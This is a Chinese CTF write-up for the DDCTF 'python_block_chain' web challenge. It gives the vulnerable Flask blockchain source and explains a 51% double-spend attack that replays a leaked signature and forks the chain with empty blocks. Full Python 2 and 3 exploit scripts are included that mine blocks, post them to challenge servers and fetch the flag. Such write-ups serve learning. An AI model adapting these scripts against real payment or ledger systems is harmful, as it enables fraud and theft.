CTF之Web_python_block_chain

 这种题对于我来说只能看大佬的wp(但是这一题是wp都看不懂,只能表达一下我的理解了)

(最后有简单方法,前面一种没看懂没关系)

下面这一部分是首页的有用部分

 访问/source_code,得到源码:

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph  
from pycallgraph import Config  
from pycallgraph.output import GraphvizOutput app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = ''def FLAG():return 'Here is your flag: DDCTF{******************}'def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def has_attrs(d, attrs):if type(d) != type({}): raise Exception("Input should be a dict/JSON")for attr in attrs:if attr not in d:raise Exception("{} should be presented in the input".format(attr))EMPTY_HASH = '0'*64def addr_to_pubkey(address):return rsa.PublicKey(int(address, 16), 65537)def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeybank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()def sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return txdef hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return blockdef find_blockchain_tail():return max(session['blocks'].values(), key=lambda block: block['height'])def calculate_utxo(blockchain_tail):curr_block = blockchain_tailblockchain = [curr_block]while curr_block['hash'] != session['genesis_block_hash']:curr_block = session['blocks'][curr_block['prev']]blockchain.append(curr_block)blockchain = blockchain[::-1]utxos = {}for block in blockchain:for tx in block['transactions']:for input_utxo_id in tx['input']:del utxos[input_utxo_id]for utxo in tx['output']:utxos[utxo['id']] = utxoreturn utxosdef calculate_balance(utxos):balance = {bank_address: 0, hacker_address: 0, shop_address: 0}for utxo in utxos.values():if utxo['addr'] not in balance:balance[utxo['addr']] = 0balance[utxo['addr']] += utxo['amount']return balancedef verify_utxo_signature(address, utxo_id, signature):try:return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))except:return Falsedef append_block(block, difficulty=int('f'*64, 16)):has_attrs(block, ['prev', 'nonce', 'transactions'])if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])if block['prev'] not in session['blocks']: raise Exception("unknown parent block")tail = session['blocks'][block['prev']]utxos = calculate_utxo(tail)if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')new_utxo_ids = set()for tx in block['transactions']:has_attrs(tx, ['input', 'output', 'signature'])for utxo in tx['output']:has_attrs(utxo, ['amount', 'addr', 'id'])if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))new_utxo_ids.add(utxo['id'])if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")try:addr_to_pubkey(utxo['addr'])except:raise Exception("invalid type of address({})".format(utxo['addr']))utxo['hash'] = hash_utxo(utxo)tot_output = sum([utxo['amount'] for utxo in tx['output']])if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")tot_input = 0tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]for utxo_id, signature in zip(tx['input'], tx['signature']):if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))utxo = utxos[utxo_id]if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")if not verify_utxo_signature(utxo['addr'], utxo_id, signature):raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))tot_input += utxo['amount']del utxos[utxo_id]if tot_output > tot_input:raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))tx['hash'] = hash_tx(tx)block = create_block(block['prev'], block['nonce'], block['transactions'])block_hash = int(block['hash'], 16)if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')block['height'] = tail['height']+1if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')session['blocks'][block['hash']] = blocksession.modified = Truedef init():if 'blocks' not in session:session['blocks'] = {}session['your_diamonds'] = 0# First, the bank issued some DDCoins ...total_currency_issued = create_output_utxo(bank_address, 1000000)genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothinggenesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])session['genesis_block_hash'] = genesis_block['hash']genesis_block['height'] = 0session['blocks'][genesis_block['hash']] = genesis_block# Then, the bank was hacked by the hacker ...handout = create_output_utxo(hacker_address, 999999)reserved = create_output_utxo(bank_address, 1)transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])append_block(second_block)# Can you buy 2 diamonds using all DDCoins?third_block = create_block(second_block['hash'], 'a empty block', [])append_block(third_block)def get_balance_of_all():init()tail = find_blockchain_tail()utxos = calculate_utxo(tail)return calculate_balance(utxos), utxos, tail@app.route(url_prefix+'/')
def homepage():announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. 'balance, utxos, _ = get_balance_of_all()genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_addressbalance_info = 'Balance of all addresses: ' + json.dumps(balance)utxo_info = 'All utxos: ' + json.dumps(utxos)blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])view_source_code_link = "<a href='source_code'>View source code</a>"return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))@app.route(url_prefix+'/flag')
def getFlag():init()if session['your_diamonds'] >= 2: return FLAG()return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_addressdef find_enough_utxos(utxos, addr_from, amount):collected = []for utxo in utxos.values():if utxo['addr'] == addr_from:amount -= utxo['amount']collected.append(utxo['id'])if amount <= 0: return collected, -amountraise Exception('no enough DDCoins in ' + addr_from)def transfer(utxos, addr_from, addr_to, amount, privkey):input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)outputs = [create_output_utxo(addr_to, amount)]if the_change != 0:outputs.append(create_output_utxo(addr_from, the_change))return create_tx(input_utxo_ids, outputs, privkey)@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):balance, utxos, tail = get_balance_of_all()if balance[bank_address] == 0: return 'The bank has no money now.'try:address = str(address)addr_to_pubkey(address) # to check if it is a valid addresstransferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])append_block(new_block)return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + addressexcept Exception, e:return 'ERROR: ' + str(e)DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():init()try:block = json.loads(request.data)append_block(block, DIFFICULTY)msg = 'transaction finished.'except Exception, e:return str(e)balance, utxos, tail = get_balance_of_all()if balance[shop_address] == 1000000:# when 1000000 DDCoins are received, the shop will give you a diamondsession['your_diamonds'] += 1# and immediately the shop will store the money somewhere safe.transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])append_block(new_block)msg += ' You receive a diamond.'return msg# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():if 'blocks' in session: del session['blocks']if 'genesis_block_hash' in session: del session['genesis_block_hash']return 'reset.'@app.route(url_prefix+'/source_code')
def show_source_code():source = open('serve.py', 'r')html = ''for line in source:html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')source.close()return htmlif __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

 下面是大佬对题的解释(看不懂)

51% 双花攻击

    这道题整的解法是 51% (双花)攻击。
    请于正常的区块链区分开来,题目环境中只有你一个玩家,并没有人与你竞争(挖矿)。
    商店交易采用0确认,而不是现实中的6确认。
    当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链。
    区块链允许添加空块
    51%(双花)攻击可以达到的目的就是使攻击前的交易作废,这里的前不一定是前一个,而是很大程度上取决于你的算力的。让之前的交易作废有什么好处呢?这里我们就要考虑0确认和6确认的区别了。

先看看6确认:

当产生一笔交易时,区块链的P2P网络会广播这笔交易,这笔交易会被一个挖矿节点收到,并验证,如果这个挖矿节点挖到区块(生成的hash满足条件)后,并且这笔交易的手续费足够吸引这个节点去打包进区块,那这笔交易就会被打包进区块。因此就得到了一个确认,这个矿工也拿走了相应的手续费。 这个挖矿节点打包后,会把区块广播给其他节点。其他节点验证并广播这个区块。 如果这个区块得到更多的挖矿节点的验证确认,那就得到了更多的确认。这样这笔交易就被记录到了比特币区块链,并成为了比特币账本的一部分。如果得到6个确认后,我们就认为它永远不可变了。

0确认就同样的道理了,那就是不需要别人确认,就如我们生活中的一手交钱一手交货,不同的是生活中我们处于中心化社会,银行会帮我们确认。而6确认就是需要经过6个人(区块被挖出)交易才确定。

可以看到对0确认和6确认进行51%(双花)攻击的难度是不一样的,6确认需要的算力明显要大,因为他要多比其他人生成6个区块。(应该可以这样理解吧,可能我还需要继续学习,如上,如有不对可以联系我(jay80#protonmail.com)改正,在这也谢谢各位大佬了。)好在,题目并不是采用6确认。

然后再看看这里的51% 攻击,其实这里说的51%是指算力,也就是这种攻击需要攻击者具备全网51%的算力,因为这样才有机会使自己生成(挖出)区块的速度超过其他人,然后按区块链的规则:当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链,就达到了撤销原来链上已经存在的交易,拿回该交易使用了的钱的目的,这里我的另一个理解就是可以使交易回滚,从而追回被盗的钱。

 

 原理上明白了以后,我们就开始从代码上进行实际攻击。首先我们先看一下一个标准的区块是咋样的,下面其实就是黑客盗取银行的区块:

就是第一张图里的东西,自己整理一下方便看就行了

{"nonce": "HAHA, I AM THE BANK NOW!","prev": "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9","hash": "fe69dbe81d51b49101ea8b6be4a4ef118992d2a94dd7b16016e27e40b0da17f0", "transactions": [{"input": ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"],"signature":                        ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"], "hash": "c1d88d88f49d69fddb81397b5f99652508c87647e7ee843a287f3e9184e78c6a", "output": [{"amount": 999999,"hash": "dbb6c731b3d5d92432683cb2913a5bee17846b5d512534f105429ebf0ecb94e7", "addr": "8ab9eb40808cbff9e8b0144319032f2ed052b13053f7c43d258f107aaaf3e5b75aedbad2ad5e4154d581ebb2e426e0d5","id": "d41f5c34-ab18-4c7e-b416-c6460483d816"}, {"amount": 1,"hash": "529dc4771c28f768ae873a384ce7824aed48e02344cec0da67a56d78cf9b014f",  "addr":"d1936e6b7dbc07f838cf255022ad83b877c1a91a3d87e6df479295ae5a0cb2e80106a2ad15b93da51a73d34a6ff0806b", 
"id": "a737ab47-fde4-47f3-a058-5b6acbfc3c7c"}]],"height": 1}
}

按照流程,我们应该构造一个转钱给商店的区块。但通过代码,我们可以发现转账的时候是需要私钥签名的,也就是这个signature段。 

 

 这些信息我们可以通过黑客留下的signature直接绕过,并且上一步的input也可以从黑客的区块中得到。所以我们就可以直接构造转账给商店的区块了,并且通过51%攻击使黑客转走的钱追回。

后续访问 传参需要访问 "http://61.147.171.105:63520/signature/create_transaction"需要用到signature(需要解码后使用,但是太麻烦了所以我没用这个)

 

下面直接放出大佬完整的payload脚本,需要特别提醒的是要注意每个区块的prev。

# -*- coding: utf-8 -*-
import json, uuid, hashlib
import random,stringEMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x) + hash(y))# 对 output 进行hash
def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = str(hash_utxo(utxo))return utxo# 对 transactions 进行hash
def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])#对整个块 hash
def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'],reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])prev = "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25"
input = ["e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"]
signature = ['8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c']address = 'b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735'
output = [create_output_utxo(address,1000000)]transactions = {"input":input,"signature":signature,"output":output}# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
# 爆破(挖矿,找到满足条件的hash)
def fuzz(block, size=20):CHARS = string.letters + string.digitswhile True:rnds = ''.join(random.choice(CHARS) for _ in range(size))block['nonce'] = rndsblock_hash = str(hash_block(block))# 转换成 16 进制tmp_hash = int(block_hash, 16)# POW 验证工作if tmp_hash < DIFFICULTY:block['hash'] = block_hashreturn block# 创建符合条件的块
block = {"prev":prev,"transactions":[transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))
# 创建一个空块
empty_tmp = {"prev" : ok_block['hash'],"transactions" : []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))empty_tmp = {"prev" : empty_block1['hash'],"transactions" : []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))empty_tmp = {"prev" : empty_block2['hash'],"transactions" : []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))empty_tmp = {"prev" : empty_block3['hash'],"transactions" : []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

运行后会得到5个区块,然后依次post就可以了

(搞不懂为什么大佬都喜欢用python2,害得我安装了一天的python2,最后却因为python2的很多模块已经停止维护了,需要自己修改调试,所以就失败了。然后我就将源码修改成了python3)

注(这个代码的adderss:是http://url/flag下的账号)

下面是我的py3代码

import json
import uuid
import hashlib
import random
import string
import functoolsEMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)def hash(x):return hashlib.sha256(x).hexdigest()def hash_reducer(x, y):return hash(x.encode() + y.encode())def hash_utxo(utxo):return functools.reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = str(hash_utxo(utxo))return utxodef hash_tx(tx):return functools.reduce(hash_reducer, [functools.reduce(hash_reducer, tx['input'], EMPTY_HASH),functools.reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def hash_block(block):return functools.reduce(hash_reducer, [block['prev'], block['nonce'],functools.reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])prev = "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9"
input_id = ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"]
signature = ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"]address = '8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15'
output = [create_output_utxo(address, 1000000)]transactions = {"input": input_id,"signature": signature,"output": output
}hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)def fuzz(block, size=20):CHARS = string.ascii_letters + string.digitswhile True:rnds = ''.join(random.choice(CHARS) for _ in range(size))block['nonce'] = rndsblock_hash = str(hash_block(block))tmp_hash = int(block_hash, 16)if tmp_hash < DIFFICULTY:block['hash'] = block_hashreturn blockblock = {"prev": prev,"transactions": [transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))empty_tmp = {"prev": ok_block['hash'],"transactions": []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))empty_tmp = {"prev": empty_block1['hash'],"transactions": []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))empty_tmp = {"prev": empty_block2['hash'],"transactions": []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))empty_tmp = {"prev": empty_block3['hash'],"transactions": []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

 运行后如下

 

 会生成五个区块,分别以post方式传入,再访问url/flag可以得到flag

 我们还可以使用大佬py2脚本,直接获得flag(后面有我的python3代码)

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re# 一堆变量常量url_root="http://220.249.52.133:58044"
url_create="http://220.249.52.133:58044/create_transaction"
url_flag="http://220.249.52.133:58044/flag"s=requests.Session()
ddcoin = s.get(url=url_root)prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64bank_addr="8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465"
hacke_addr="a4e4ec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5a6dfb64c3bd7de1ab"
shop_addr="9095cbe784e2c97c5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5c15cf3de9a2655e85b"# 源码中的APIdef hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名tx['hash'] = hash_tx(tx)return txdef create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return block# 构造的方法def check_hash(prev,tx):for i in range(10000000):current_block=create_block(prev,str(i),tx)block_hash = int(current_block['hash'], 16)if block_hash<DIFFICULTY:print json.dumps(current_block)return current_blockdef create_feak_one():utxo_first=create_output_utxo(shop_addr,1000000)tx_first=create_tx([bank_utox_id],[utxo_first])return check_hash(prev_one,[tx_first])def create_empty_block(prev):return check_hash(prev,[])# 攻击过程a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content

标注的地方记得替换直接的url和addr

import hashlib
import json
import rsa
import uuid
import os
import requests
import re
from functools import reduce
#记得修改
url_root = "http://61.147.171.105:63520/"
url_create = "http://61.147.171.105:63520/create_transaction"
url_flag = "http://61.147.171.105:63520/flag"s = requests.Session()
ddcoin = s.get(url=url_root)prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content.decode(), flags=0).group(1)
bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content.decode(), flags=0).group(1)
bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content.decode(), flags=0).group(1)DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
#这里也要
bank_addr = "b244757baa7cd4071deba24da53ddfb2e5d763563fa57c5653ccfa6e7545e3369cbaf9a1c41d9951b1f1a39b78e0528d"
hacke_addr = "8a537f7f1a39857e567640f6cc530dc64732062dec8fa5d93643be53496ae08d9738afed66925018bcd4f8980841f61d"
shop_addr = "8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15"# 源码中的APIdef hash(x):return hashlib.sha256(hashlib.md5(x.encode()).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名tx['hash'] = hash_tx(tx)return txdef create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return block# 构造的方法def check_hash(prev, tx):for i in range(10000000):current_block = create_block(prev, str(i), tx)block_hash = int(current_block['hash'], 16)if block_hash < DIFFICULTY:print(json.dumps(current_block))return current_blockdef create_feak_one():utxo_first = create_output_utxo(shop_addr, 1000000)tx_first = create_tx([bank_utox_id], [utxo_first])return check_hash(prev_one, [tx_first])def create_empty_block(prev):return check_hash(prev, [])# 攻击过程a = create_feak_one()
print(s.post(url=url_create, data=str(json.dumps(a))).content.decode())
b = create_empty_block(a['hash'])
print(s.post(url=url_create, data=str(json.dumps(b))).content.decode())
c = create_empty_block(b['hash'])
print(s.post(url=url_create, data=str(json.dumps(c))).content.decode())
d = create_empty_block(c['hash'])
print(s.post(url=url_create, data=str(json.dumps(d))).content.decode())
e = create_empty_block(d['hash'])
print(s.post(url=url_create, data=str(json.dumps(e))).content.decode())
print(s.get(url=url_flag).content.decode())

 运行结果如下

 

 ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/841562.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

宁夏银川、山东济南、中国最厉害的改名大师的老师颜廷利教授的前沿思想观点

在当代社会&#xff0c;一个响亮的声音穿越了传统的迷雾&#xff0c;它来自东方哲学的殿堂&#xff0c;由一位现代学者颜廷利教授所发出。他的话语&#xff0c;如同一股清泉&#xff0c;在混沌的世界里激荡着思考的波澜&#xff1a;"有‘智’不在年高&#xff0c;无‘智’…

太空几乎没有阻力,飞船理论上能一直加速,为何还说星际旅行很难

太空几乎没有阻力&#xff0c;飞船理论上能一直加速&#xff0c;为何还说星际旅行很难&#xff1f; 答案 现代科学认为&#xff0c;我们的地球诞生于46亿年前&#xff0c;也就是太阳系诞生初期&#xff0c;在太阳系中一共有八大行星&#xff0c;而地球是唯一一颗诞生了生命的…

起保停电路工作原理

一、电路组成 起保停电路由电源保护设备&#xff08;空气开关&#xff09;、交流接触器、启动按钮、停止按钮和用电设备组成。 起保停电路的组成部分通常可分为四个部分&#xff1a; 保护部分&#xff1a;&#xff08;空气开关&#xff09;在电流或电压超出一定范围时自动切断…

异步获取线程执行结果,JDK中的Future、Netty中的Future和Promise对比

JDK中的Future和Netty中的Future、Promise的关系 三者源头追溯 Netty中的Future与JDK中的Future同名&#xff0c;但是是两个不同的接口。Netty中的Future继承自JDK的Future&#xff0c;而Promise又对Netty中的Future进行了扩展。 JDK中的Future源自JUC并发包&#xff1a; Net…

电商API接口(api商品数据)【电商商品实时数据采集API接口】

众多品牌选择电商API实时数据采集接口进行采购&#xff0c;主要是出于以下几个重要原因&#xff1a; 第一&#xff0c;高效便捷。比价工具通过自动化的方式获取价格信息&#xff0c;避免了繁琐的人工操作&#xff0c;大大节省了时间和精力。 第二&#xff0c;精准比较。API比价…

如何使用ssh将vscode 连接到服务器上,手把手指导

一、背景 我们在开发时&#xff0c;经常是window上安装一个vscode编辑器&#xff0c;去连接一个虚拟机上的linux&#xff0c;这里常用的是SSH协议&#xff0c;了解其中的操作非常必要。 二、SSH协议 SSH&#xff08;Secure Shell&#xff09;是一种安全协议&#xff0c;用于…

C#屏蔽基类成员

可以用与积累成员名称相同的成员来屏蔽 要让编译器知道你在故意屏蔽继承的成员&#xff0c;可以用new修饰符。否则程序可以成功编译&#xff0c;但是编译器会警告你隐藏了一个继承的成员 using System;class someClass {public string F1 "Someclass F1";public v…

YOLOv10 | 手把手教你利用yolov10训练自己数据集(含环境搭建 + 参数解析 + 数据集查找 + 模型训练、推理、导出)

一、前言 本文内含YOLOv10网络结构图 各个创新模块手撕结构图 训练教程 推理教程 参数解析 环境搭建 数据集获取等一些有关YOLOv10的内容&#xff01; 目录 一、 前言 二、整体网络结构图 三、空间-通道分离下采样 3.1 SCDown介绍 3.2 C2fUIB介绍 3.3 PSA介绍 …

微服务下认证授权框架的探讨

前言 市面上关于认证授权的框架已经比较丰富了,大都是关于单体应用的认证授权,在分布式架构下,使用比较多的方案是--<应用网关>,网关里集中认证,将认证通过的请求再转发给代理的服务,这种中心化的方式并不适用于微服务,这里讨论另一种方案--<认证中心>,利用jwt去中…

【数据库基础-mysql详解之索引的魅力(N叉树)】

索引的魅力目录 &#x1f308;索引的概念&#x1f308;使用场景&#x1f308;索引的使用&#x1f31e;&#x1f31e;&#x1f31e;查看MySQL中的默认索引&#x1f31e;&#x1f31e;&#x1f31e;创建索引&#x1f31e;&#x1f31e;&#x1f31e;删除索引 站在索引背后的那个男…

sheng的学习笔记-docker部署Greenplum

